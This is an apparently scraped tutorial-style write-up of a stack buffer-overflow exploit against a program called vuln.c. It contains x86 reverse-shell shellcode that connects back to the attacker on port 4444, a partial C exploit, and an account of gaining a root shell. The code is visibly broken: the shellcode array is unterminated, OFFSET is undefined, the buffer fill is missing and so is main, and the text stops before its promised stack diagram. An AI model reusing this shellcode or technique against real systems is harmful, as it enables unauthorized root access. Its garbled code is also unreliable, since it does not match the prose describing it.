Professional Documents
Culture Documents
Our goal is to create a C program named exploit.c that will exploit the
buffer overflow vulnerability in vuln.c and open up a reverse shell on the
attacked program as root.
//Exploit.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x89\xe
1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68"
"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x0
1\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52"
"\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb
0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
void exploit() {
char buffer[OFFSET];
// adjust this value as necessary based on the output of the vuln program
execl("./vuln", "vuln", buffer, NULL); // execute the vuln program with payload
as argument
exploit();
return 0;
In this program, we define the OFFSET value as the distance from the
start of the buffer to the return address on the stack. We also define a
shellcode variable containing the machine code for a reverse shell
payload that will attempt to connect to our attacker machine on port
4444.
The exploit function creates a buffer filled with "A"s and appends our
shellcode to the end. It then overwrites the return address on the stack
with the address of the start of the buffer, which will cause the program
to jump to our shellcode when the exploitable function returns.
Finally, in the main function, we call exploit to create the payload and
execute the vuln program with the payload as an argument.
To carry out the attack, we first compile vuln.c with gcc -o vuln vuln.c
and then run it with a long string of "A"s as the argument
Final Step
we can use the exploit program with setarch i686 for gain access
Well, we got root in the first try. We passed the input strings to our
program through the command line first argument. Then in the program,
the exploitable function copied the input into the stack’s buffer without
verifying the size, overwriting the return address nicely with an address
that pointing back to the stack area. When the program finished, instead
of returning back to system/OS, it return to the stack area, start
executing the NOPs and proceeded to our shellcode that spawned a root
shell. Our final stack layout that has been over flown should be looked
something like the following: